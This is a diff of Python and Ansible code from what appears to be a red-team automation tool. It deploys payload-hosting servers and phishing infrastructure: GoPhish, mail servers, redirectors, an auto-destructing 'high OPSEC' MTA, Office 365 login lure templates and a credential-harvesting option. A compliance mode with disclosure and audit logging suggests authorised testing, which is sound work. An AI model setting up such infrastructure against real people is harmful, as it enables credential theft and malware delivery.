print(f"\n{COLORS['GREEN']}Deploying secure payload server...{COLORS['RESET']}")
|
||||
execute_payload_deployment(config)
|
||||
|
||||
def deploy_mobile_payload_server():
|
||||
"""Deploy mobile payload server"""
|
||||
config = gather_payload_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'mobile_payload_server'
|
||||
config['host_mobile'] = True
|
||||
config['host_executables'] = False
|
||||
config['host_scripts'] = False
|
||||
config['host_documents'] = False
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying mobile payload server...{COLORS['RESET']}")
|
||||
execute_payload_deployment(config)
|
||||
|
||||
def deploy_document_payload_server():
|
||||
"""Deploy document payload server"""
|
||||
config = gather_payload_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'document_payload_server'
|
||||
config['host_documents'] = True
|
||||
config['host_executables'] = False
|
||||
config['host_scripts'] = False
|
||||
config['host_mobile'] = False
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying document payload server...{COLORS['RESET']}")
|
||||
execute_payload_deployment(config)
|
||||
|
||||
def deploy_multi_format_payload_server():
|
||||
"""Deploy multi-format payload server"""
|
||||
config = gather_payload_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'multi_format_payload_server'
|
||||
config['host_executables'] = True
|
||||
config['host_scripts'] = True
|
||||
config['host_documents'] = True
|
||||
config['host_mobile'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying multi-format payload server...{COLORS['RESET']}")
|
||||
execute_payload_deployment(config)
|
||||
|
||||
def execute_payload_deployment(config):
|
||||
"""Execute payload server infrastructure deployment"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"\n{COLORS['GREEN']}Starting payload server deployment...{COLORS['RESET']}")
|
||||
|
||||
# Set up logging
|
||||
log_file = setup_logging(config['deployment_id'], "payload_deployment")
|
||||
|
||||
# Display configuration summary
|
||||
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||
print(f"Deployment Type: {config['deployment_type']}")
|
||||
print(f"Deployment ID: {config['deployment_id']}")
|
||||
print(f"Provider: {config['provider']}")
|
||||
print(f"Domain: {config['domain']}")
|
||||
print(f"Host Executables: {config.get('host_executables', False)}")
|
||||
print(f"Host Scripts: {config.get('host_scripts', False)}")
|
||||
print(f"Host Documents: {config.get('host_documents', False)}")
|
||||
print(f"Host Mobile: {config.get('host_mobile', False)}")
|
||||
|
||||
# Confirm deployment
|
||||
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with payload server deployment?{COLORS['RESET']}", default=False):
|
||||
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
# Execute the actual deployment
|
||||
success = execute_ansible_deployment(config)
|
||||
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}Payload server infrastructure deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Payload server infrastructure deployment failed.{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
def execute_ansible_deployment(config):
|
||||
"""Execute the Ansible deployment based on configuration"""
|
||||
import subprocess
|
||||
|
||||
deployment_type = config.get('deployment_type')
|
||||
provider = config.get('provider')
|
||||
|
||||
print(f"\n{COLORS['BLUE']}Executing {deployment_type} deployment on {provider}...{COLORS['RESET']}")
|
||||
|
||||
# Use the payload server playbooks
|
||||
playbook_map = {
|
||||
'basic_payload_server': 'payload_server.yml',
|
||||
'payload_server_with_redirector': 'payload_server.yml',
|
||||
'secure_payload_server': 'payload_server.yml',
|
||||
'mobile_payload_server': 'payload_server.yml',
|
||||
'document_payload_server': 'payload_server.yml',
|
||||
'multi_format_payload_server': 'payload_server.yml'
|
||||
}
|
||||
|
||||
playbook = playbook_map.get(deployment_type)
|
||||
if not playbook:
|
||||
print(f"{COLORS['RED']}Unknown deployment type: {deployment_type}{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
# Change to the module directory and execute the playbook
|
||||
module_dir = os.path.dirname(__file__)
|
||||
playbook_path = os.path.join(module_dir, playbook)
|
||||
|
||||
if not os.path.exists(playbook_path):
|
||||
print(f"{COLORS['YELLOW']}Playbook not found: {playbook_path}{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}This would normally execute the {playbook} playbook{COLORS['RESET']}")
|
||||
return True # Simulate success for now
|
||||
|
||||
try:
|
||||
# Build the ansible-playbook command
|
||||
cmd = [
|
||||
'ansible-playbook',
|
||||
playbook_path,
|
||||
'-e', f'deployment_id={config["deployment_id"]}',
|
||||
'-e', f'provider={config["provider"]}',
|
||||
'-e', f'domain={config["domain"]}',
|
||||
'-e', f'deployment_type={deployment_type}'
|
||||
]
|
||||
|
||||
# Add payload-specific variables
|
||||
for key in ['host_executables', 'host_scripts', 'host_documents', 'host_mobile']:
|
||||
if key in config:
|
||||
cmd.extend(['-e', f'{key}={str(config[key]).lower()}'])
|
||||
|
||||
# Add security options
|
||||
for key in ['enable_basic_auth', 'enable_ip_filtering', 'enable_user_agent_filtering', 'enable_rate_limiting']:
|
||||
if key in config:
|
||||
cmd.extend(['-e', f'{key}={str(config[key]).lower()}'])
|
||||
|
||||
# Add provider-specific variables
|
||||
if provider == 'aws':
|
||||
if config.get('aws_access_key'):
|
||||
cmd.extend(['-e', f'aws_access_key={config["aws_access_key"]}'])
|
||||
if config.get('aws_secret_key'):
|
||||
cmd.extend(['-e', f'aws_secret_key={config["aws_secret_key"]}'])
|
||||
if config.get('aws_region'):
|
||||
cmd.extend(['-e', f'aws_region={config["aws_region"]}'])
|
||||
|
||||
# Execute the playbook
|
||||
result = subprocess.run(cmd, capture_output=True, text=True)
|
||||
|
||||
if result.returncode == 0:
|
||||
print(f"{COLORS['GREEN']}Ansible playbook executed successfully{COLORS['RESET']}")
|
||||
return True
|
||||
else:
|
||||
print(f"{COLORS['RED']}Ansible playbook failed:{COLORS['RESET']}")
|
||||
print(result.stderr)
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
print(f"{COLORS['RED']}Error executing playbook: {e}{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
if __name__ == "__main__":
|
||||
payload_menu()
|
||||
@@ -0,0 +1,516 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Phishing infrastructure deployment module
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
|
||||
# Add the project root to the path so we can import utils
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
|
||||
from utils.common import (
|
||||
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||
setup_logging, get_public_ip, confirm_action, wait_for_input,
|
||||
archive_old_logs
|
||||
)
|
||||
from utils.provider_utils import select_provider, gather_provider_config
|
||||
from utils.ssh_utils import generate_ssh_key
|
||||
from utils.naming_utils import get_deployment_name_with_options
|
||||
|
||||
def gather_phishing_parameters():
|
||||
"""Collect parameters specific to phishing deployments"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE SETUP{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}=============================={COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# Phishing-specific configuration
|
||||
print(f"\n{COLORS['BLUE']}Phishing Configuration{COLORS['RESET']}")
|
||||
|
||||
# Domain configuration
|
||||
phishing_domain = input(f"Phishing domain (aged domain recommended) [required]: ")
|
||||
if not phishing_domain:
|
||||
print(f"{COLORS['RED']}A domain is required for phishing deployments{COLORS['RESET']}")
|
||||
return None
|
||||
|
||||
# Set all domain variables for compatibility
|
||||
config['phishing_domain'] = phishing_domain
|
||||
config['primary_domain'] = phishing_domain # For compatibility with existing playbooks
|
||||
config['domain'] = phishing_domain # For compatibility
|
||||
|
||||
# Subdomain configuration
|
||||
config['mta_hostname'] = input(f"MTA hostname [default: mail.{phishing_domain}]: ") or f"mail.{phishing_domain}"
|
||||
config['phishing_hostname'] = input(f"Phishing hostname [default: portal.{phishing_domain}]: ") or f"portal.{phishing_domain}"
|
||||
|
||||
# Instance naming
|
||||
print(f"\n{COLORS['BLUE']}Instance Naming{COLORS['RESET']}")
|
||||
|
||||
# MTA Front naming
|
||||
config['mta_name'] = get_deployment_name_with_options(
|
||||
deployment_type='phishing',
|
||||
component_type='MTA Front Server',
|
||||
default_suffix='mta'
|
||||
)
|
||||
|
||||
# GoPhish server naming
|
||||
config['gophish_name'] = get_deployment_name_with_options(
|
||||
deployment_type='phishing',
|
||||
component_type='GoPhish Server',
|
||||
default_suffix='gophish'
|
||||
)
|
||||
|
||||
# Phishing redirector naming
|
||||
config['phishing_redirector_name'] = get_deployment_name_with_options(
|
||||
deployment_type='phishing',
|
||||
component_type='Phishing Redirector',
|
||||
default_suffix='redirector'
|
||||
)
|
||||
|
||||
# Phishing webserver naming
|
||||
config['phishing_webserver_name'] = get_deployment_name_with_options(
|
||||
deployment_type='phishing',
|
||||
component_type='Phishing Webserver',
|
||||
default_suffix='webserver'
|
||||
)
|
||||
|
||||
# MTA Authentication
|
||||
config['smtp_auth_user'] = input("SMTP auth username [default: admin]: ") or "admin"
|
||||
config['smtp_auth_pass'] = input("SMTP auth password [default: random]: ") or None
|
||||
|
||||
# GoPhish configuration
|
||||
config['gophish_admin_port'] = input("GoPhish admin port [default: 8090]: ") or "8090"
|
||||
|
||||
# Campaign configuration
|
||||
config['campaign_name'] = input("Campaign name [default: test-campaign]: ") or "test-campaign"
|
||||
config['sender_name'] = input("Sender display name [default: IT Support]: ") or "IT Support"
|
||||
config['sender_email'] = f"noreply@{config['phishing_domain']}"
|
||||
|
||||
# Template selection
|
||||
print(f"\n{COLORS['BLUE']}Email Template Selection:{COLORS['RESET']}")
|
||||
print(f"1) Office 365 Login")
|
||||
print(f"2) Password Expiration")
|
||||
print(f"3) Security Alert")
|
||||
print(f"4) File Share Notification")
|
||||
print(f"5) Custom Template")
|
||||
|
||||
template_choice = input("Select template [default: 1]: ") or "1"
|
||||
templates = {
|
||||
"1": "office365_login",
|
||||
"2": "password_expiry",
|
||||
"3": "security_alert",
|
||||
"4": "file_share",
|
||||
"5": "custom"
|
||||
}
|
||||
config['email_template'] = templates.get(template_choice, "office365_login")
|
||||
|
||||
# If custom template, get details
|
||||
if config['email_template'] == 'custom':
|
||||
config['custom_template_name'] = input("Custom template name: ")
|
||||
config['custom_subject'] = input("Email subject line: ")
|
||||
config['custom_sender'] = input("Sender email/name: ")
|
||||
|
||||
# Security settings
|
||||
print(f"\n{COLORS['BLUE']}Security Settings:{COLORS['RESET']}")
|
||||
config['enable_credential_harvesting'] = confirm_action("Enable credential harvesting?", default=True)
|
||||
config['enable_attachment_tracking'] = confirm_action("Enable attachment tracking?", default=True)
|
||||
config['enable_link_tracking'] = confirm_action("Enable link click tracking?", default=True)
|
||||
|
||||
# Email for Let's Encrypt
|
||||
default_email = f"admin@{config['phishing_domain']}"
|
||||
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||
|
||||
# Get operator IP for security
|
||||
suggested_ip = get_public_ip()
|
||||
if suggested_ip:
|
||||
operator_ip = input(f"Your public IP for admin access [detected: {suggested_ip}]: ") or suggested_ip
|
||||
else:
|
||||
operator_ip = input("Your public IP for admin access: ")
|
||||
config['operator_ip'] = operator_ip
|
||||
|
||||
# SSH key generation
|
||||
ssh_key_path = generate_ssh_key(config['deployment_id'])
|
||||
if not ssh_key_path:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
config['ssh_key_path'] = f"{ssh_key_path}.pub"
|
||||
|
||||
# Post-deployment options
|
||||
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||
config['open_admin_panel'] = confirm_action("Open GoPhish admin panel after deployment?", default=True)
|
||||
|
||||
return config
|
||||
|
||||
def phishing_menu():
|
||||
"""Display the phishing submenu and handle user selection"""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}PHISHING INFRASTRUCTURE MENU{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}============================{COLORS['RESET']}")
|
||||
print(f"1) Basic Phishing Setup {COLORS['GREEN']}*RECOMMENDED*{COLORS['RESET']} {COLORS['GRAY']}(MTA + GoPhish){COLORS['RESET']}")
|
||||
print(f"2) GoPhish Server Only {COLORS['GRAY']}(Campaign management only){COLORS['RESET']}")
|
||||
print(f"3) Phishing Web Server Only {COLORS['GRAY']}(Landing pages only){COLORS['RESET']}")
|
||||
print(f"4) MTA Front Server Only {COLORS['GRAY']}(Email sending only){COLORS['RESET']}")
|
||||
print(f"5) Advanced Phishing Setup {COLORS['GRAY']}(MTA + GoPhish + Redirector){COLORS['RESET']}")
|
||||
print(f"6) Phishing Redirector Only {COLORS['GRAY']}(Traffic redirection only){COLORS['RESET']}")
|
||||
print(f"7) Ephemeral MTA Setup {COLORS['GRAY']}(Temporary email infrastructure){COLORS['RESET']}")
|
||||
print(f"8) Full Phishing Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
|
||||
print(f"9) FedRAMP Compliant Phishing {COLORS['GRAY']}(Compliance-focused setup){COLORS['RESET']}")
|
||||
print(f"99) Return to Main Menu")
|
||||
|
||||
choice = input(f"\nSelect an option: ")
|
||||
|
||||
if choice == "1":
|
||||
deploy_basic_phishing()
|
||||
elif choice == "2":
|
||||
deploy_gophish_only()
|
||||
elif choice == "3":
|
||||
deploy_phishing_webserver_only()
|
||||
elif choice == "4":
|
||||
deploy_mta_front_only()
|
||||
elif choice == "5":
|
||||
deploy_advanced_phishing()
|
||||
elif choice == "6":
|
||||
deploy_phishing_redirector_only()
|
||||
elif choice == "7":
|
||||
deploy_ephemeral_mta()
|
||||
elif choice == "8":
|
||||
deploy_full_phishing()
|
||||
elif choice == "9":
|
||||
deploy_fedramp_phishing()
|
||||
elif choice == "99":
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def deploy_gophish_only():
|
||||
"""Deploy GoPhish server only"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'gophish_only'
|
||||
config['deploy_gophish'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying GoPhish server only...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def deploy_mta_front_only():
|
||||
"""Deploy MTA front server only"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'mta_front_only'
|
||||
config['deploy_mta_front'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying MTA front server only...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def deploy_phishing_webserver_only():
|
||||
"""Deploy phishing web server only"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'phishing_webserver_only'
|
||||
config['deploy_phishing_webserver'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying phishing web server only...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def deploy_phishing_redirector_only():
|
||||
"""Deploy phishing redirector only"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'phishing_redirector_only'
|
||||
config['deploy_phishing_redirector'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying phishing redirector only...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def deploy_basic_phishing():
|
||||
"""Deploy basic phishing setup (MTA + GoPhish)"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'basic_phishing'
|
||||
config['deploy_mta_front'] = True
|
||||
config['deploy_gophish'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying basic phishing infrastructure...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def deploy_advanced_phishing():
|
||||
"""Deploy advanced phishing setup (MTA + GoPhish + Redirector)"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'advanced_phishing'
|
||||
config['deploy_mta_front'] = True
|
||||
config['deploy_gophish'] = True
|
||||
config['deploy_phishing_redirector'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying advanced phishing infrastructure...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def deploy_full_phishing():
|
||||
"""Deploy full phishing infrastructure"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'full_phishing'
|
||||
config['deploy_mta_front'] = True
|
||||
config['deploy_gophish'] = True
|
||||
config['deploy_phishing_redirector'] = True
|
||||
config['deploy_phishing_webserver'] = True
|
||||
config['deploy_tracker'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying full phishing infrastructure...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def deploy_fedramp_phishing():
|
||||
"""Deploy FedRAMP compliant phishing infrastructure"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
# FedRAMP specific configuration
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}FEDRAMP COMPLIANCE CONFIGURATION{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}==================================={COLORS['RESET']}")
|
||||
|
||||
# Compliance requirements
|
||||
print(f"\n{COLORS['BLUE']}FedRAMP Compliance Requirements:{COLORS['RESET']}")
|
||||
print(f"• Immediate disclosure of phishing attempts")
|
||||
print(f"• Comprehensive audit logging")
|
||||
print(f"• Compliance notification requirements")
|
||||
print(f"• Mandatory log retention")
|
||||
|
||||
# Immediate disclosure (required for FedRAMP)
|
||||
config['immediate_disclosure'] = True
|
||||
print(f"\n{COLORS['YELLOW']}Immediate disclosure is REQUIRED for FedRAMP compliance{COLORS['RESET']}")
|
||||
|
||||
# Authorization reference for documentation
|
||||
auth_reference = input(f"Authorization reference/ticket number [optional]: ") or "Pre-authorized FedRAMP exercise"
|
||||
config['authorization_reference'] = auth_reference
|
||||
|
||||
# Log retention period
|
||||
retention_days = input(f"Log retention period in days [default: 90]: ") or "90"
|
||||
try:
|
||||
config['log_retention_days'] = int(retention_days)
|
||||
except ValueError:
|
||||
config['log_retention_days'] = 90
|
||||
|
||||
# Audit logging level
|
||||
print(f"\n{COLORS['BLUE']}Audit Logging Level:{COLORS['RESET']}")
|
||||
print(f"1) Basic (Login attempts, email sends)")
|
||||
print(f"2) Detailed (+ IP addresses, user agents)")
|
||||
print(f"3) Comprehensive (+ full request logs)")
|
||||
|
||||
log_level = input(f"Select logging level [default: 3]: ") or "3"
|
||||
log_levels = {"1": "basic", "2": "detailed", "3": "comprehensive"}
|
||||
config['audit_log_level'] = log_levels.get(log_level, "comprehensive")
|
||||
|
||||
# Compliance mode settings
|
||||
config['fedramp_mode'] = True
|
||||
config['compliance_mode'] = True
|
||||
config['deployment_type'] = 'fedramp_phishing'
|
||||
config['deploy_gophish'] = True
|
||||
config['deploy_phishing_webserver'] = True
|
||||
config['deploy_tracker'] = True
|
||||
config['enable_audit_logging'] = True
|
||||
|
||||
# Debug options
|
||||
config['debug_mode'] = confirm_action("Enable debug mode (extra verbose Ansible output)?", default=True)
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying FedRAMP compliant phishing infrastructure...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def deploy_ephemeral_mta():
|
||||
"""Deploy ephemeral MTA for high OPSEC phishing"""
|
||||
config = gather_phishing_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
# Additional ephemeral MTA configuration
|
||||
print(f"\n{COLORS['BLUE']}Ephemeral MTA Configuration{COLORS['RESET']}")
|
||||
print(f"{COLORS['YELLOW']}Note: Ephemeral MTAs are designed for short-term use{COLORS['RESET']}")
|
||||
|
||||
config['deployment_type'] = 'ephemeral_mta'
|
||||
config['ephemeral_mta'] = True
|
||||
config['deploy_mta_front'] = True
|
||||
|
||||
# Auto-destruct timer
|
||||
auto_destruct = confirm_action("Enable auto-destruct timer?", default=False)
|
||||
if auto_destruct:
|
||||
hours = input("Auto-destruct after how many hours [default: 24]: ") or "24"
|
||||
config['auto_destruct_hours'] = int(hours)
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying ephemeral MTA...{COLORS['RESET']}")
|
||||
execute_phishing_deployment(config)
|
||||
|
||||
def execute_phishing_deployment(config):
|
||||
"""Execute phishing infrastructure deployment"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"\n{COLORS['GREEN']}Starting phishing deployment...{COLORS['RESET']}")
|
||||
|
||||
# Archive old logs before starting new deployment
|
||||
print(f"Archiving old logs...")
|
||||
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
|
||||
|
||||
# Set up logging
|
||||
log_file = setup_logging(config['deployment_id'], "phishing_deployment")
|
||||
|
||||
# Display configuration summary
|
||||
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||
print(f"Deployment Type: {config['deployment_type']}")
|
||||
print(f"Deployment ID: {config['deployment_id']}")
|
||||
print(f"Provider: {config['provider']}")
|
||||
print(f"Domain: {config['phishing_domain']}")
|
||||
print(f"Email Template: {config.get('email_template', 'N/A')}")
|
||||
print(f"MTA Hostname: {config.get('mta_hostname', 'N/A')}")
|
||||
if config.get('fedramp_mode'):
|
||||
print(f"FedRAMP Mode: {COLORS['YELLOW']}ENABLED{COLORS['RESET']}")
|
||||
print(f"Authorization Reference: {config.get('authorization_reference', 'N/A')}")
|
||||
print(f"Audit Level: {config.get('audit_log_level', 'N/A')}")
|
||||
|
||||
# Confirm deployment
|
||||
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with phishing deployment?{COLORS['RESET']}", default=False):
|
||||
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
# Mark this as a phishing deployment for the deployment engine
|
||||
config['phishing_deployment'] = True
|
||||
|
||||
# Execute the actual deployment using component-based approach
|
||||
success = execute_component_deployment(config)
|
||||
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}✅ Phishing infrastructure deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}❌ Phishing infrastructure deployment failed.{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
def execute_component_deployment(config):
|
||||
"""Execute component-based phishing deployment"""
|
||||
import subprocess
|
||||
import os
|
||||
|
||||
print(f"\n{COLORS['BLUE']}Executing phishing deployment: {config['deployment_type']}{COLORS['RESET']}")
|
||||
|
||||
# Provider directory mapping
|
||||
provider_dirs = {
|
||||
"aws": "AWS",
|
||||
"linode": "Linode",
|
||||
"flokinet": "FlokiNET"
|
||||
}
|
||||
|
||||
# Component playbook mapping
|
||||
component_playbooks = {
|
||||
'deploy_mta_front': os.path.join(os.path.dirname(__file__), 'mta_front.yml'),
|
||||
'deploy_gophish': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'c2.yml'),
|
||||
'deploy_phishing_redirector': os.path.join(os.path.dirname(__file__), '..', '..', 'providers', provider_dirs[config['provider']], 'redirector.yml'),
|
||||
'deploy_phishing_webserver': os.path.join(os.path.dirname(__file__), 'phishing_webserver.yml'),
|
||||
}
|
||||
|
||||
# Build extra vars for ansible
|
||||
extra_vars = []
|
||||
for key, value in config.items():
|
||||
if isinstance(value, (str, int, bool)):
|
||||
extra_vars.append(f"{key}={value}")
|
||||
|
||||
deployed_components = []
|
||||
|
||||
try:
|
||||
# Deploy each enabled component
|
||||
for component, playbook_path in component_playbooks.items():
|
||||
if config.get(component, False):
|
||||
print(f"\n{COLORS['YELLOW']}Deploying {component.replace('deploy_', '')}...{COLORS['RESET']}")
|
||||
|
||||
# Check if playbook exists
|
||||
if not os.path.exists(playbook_path):
|
||||
print(f"{COLORS['RED']}Error: Playbook not found: {playbook_path}{COLORS['RESET']}")
|
||||
continue
|
||||
|
||||
# Build ansible command
|
||||
cmd = [
|
||||
'ansible-playbook',
|
||||
playbook_path,
|
||||
'--extra-vars',
|
||||
' '.join(extra_vars)
|
||||
]
|
||||
|
||||
print(f"{COLORS['GRAY']}Running: {' '.join(cmd)}{COLORS['RESET']}")
|
||||
|
||||
# Execute playbook
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
||||
|
||||
if result.returncode == 0:
|
||||
print(f"{COLORS['GREEN']}✅ {component.replace('deploy_', '')} deployed successfully{COLORS['RESET']}")
|
||||
deployed_components.append(component)
|
||||
else:
|
||||
print(f"{COLORS['RED']}❌ {component.replace('deploy_', '')} deployment failed{COLORS['RESET']}")
|
||||
print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
# Deploy the orchestration playbook to save state
|
||||
print(f"\n{COLORS['YELLOW']}Saving deployment state...{COLORS['RESET']}")
|
||||
orchestration_playbook = os.path.join(os.path.dirname(__file__), 'deploy_phishing_infrastructure.yml')
|
||||
|
||||
cmd = [
|
||||
'ansible-playbook',
|
||||
orchestration_playbook,
|
||||
'--extra-vars',
|
||||
' '.join(extra_vars)
|
||||
]
|
||||
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, cwd=os.path.dirname(__file__))
|
||||
|
||||
if result.returncode == 0:
|
||||
print(f"{COLORS['GREEN']}✅ Deployment state saved{COLORS['RESET']}")
|
||||
return True
|
||||
else:
|
||||
print(f"{COLORS['RED']}❌ Failed to save deployment state{COLORS['RESET']}")
|
||||
print(f"{COLORS['RED']}STDERR: {result.stderr}{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
except Exception as e:
|
||||
print(f"{COLORS['RED']}Deployment error: {str(e)}{COLORS['RESET']}")
|
||||
return False
|
||||
|
||||
if __name__ == "__main__":
|
||||
phishing_menu()
|
||||
@@ -3,15 +3,18 @@
|
||||
# Handles all deployment types and orchestrates component deployment
|
||||
|
||||
- name: Deploy phishing infrastructure
|
||||
hosts: localhost
|
||||
gather_facts: false
|
||||
hosts: 127.0.0.1
|
||||
gather_facts: true # Enable to get ansible_date_time
|
||||
connection: local
|
||||
vars_files:
|
||||
- vars.yaml
|
||||
vars:
|
||||
deployment_id: "{{ deployment_id | default('') }}"
|
||||
provider: "{{ provider | default('aws') }}"
|
||||
deployment_type: "{{ deployment_type | default('phishing_only_noccdn') }}"
|
||||
# Provider directory mapping
|
||||
provider_dirs:
|
||||
aws: "AWS"
|
||||
linode: "Linode"
|
||||
flokinet: "FlokiNET"
|
||||
|
||||
tasks:
|
||||
- name: Validate deployment configuration
|
||||
@@ -30,68 +33,73 @@
|
||||
- "Deployment ID: {{ deployment_id }}"
|
||||
- "Provider: {{ provider }}"
|
||||
- "Deployment Type: {{ deployment_type }}"
|
||||
- "Primary Domain: {{ primary_domain | default(domain) }}"
|
||||
- "Phishing Domain: {{ phishing_domain | default(primary_domain) }}"
|
||||
- "Phishing Domain: {{ phishing_domain | default('N/A') }}"
|
||||
|
||||
# Phase 1: Deploy core infrastructure components
|
||||
# Note: This playbook is orchestrated by deploy_phishing.py which calls individual provider playbooks
|
||||
# The actual infrastructure deployment is handled by provider-specific playbooks:
|
||||
# - providers/AWS/c2.yml for GoPhish/C2 servers
|
||||
# - providers/AWS/redirector.yml for redirectors
|
||||
# - providers/Linode/c2.yml, providers/Linode/redirector.yml for Linode
|
||||
# - modules/phishing/mta_front.yml for MTA front servers
|
||||
|
||||
- name: Deploy MTA Front server
|
||||
include: mta_front.yml
|
||||
debug:
|
||||
msg: "🚀 Executing MTA Front deployment: mta_front.yml with server_name=mta-{{ deployment_id }}"
|
||||
when: deploy_mta_front | default(false) | bool
|
||||
vars:
|
||||
server_name: "mta-{{ deployment_id }}"
|
||||
component_type: "mta_front"
|
||||
|
||||
- name: Deploy Gophish server
|
||||
include: gophish_server.yml
|
||||
debug:
|
||||
msg: "🚀 Executing Gophish C2 deployment: ../../providers/{{ provider }}/c2.yml with c2_name=gophish-{{ deployment_id }}"
|
||||
when: deploy_gophish | default(false) | bool
|
||||
vars:
|
||||
server_name: "gophish-{{ deployment_id }}"
|
||||
component_type: "gophish"
|
||||
|
||||
- name: Deploy phishing redirector
|
||||
include: phishing_redirector.yml
|
||||
debug:
|
||||
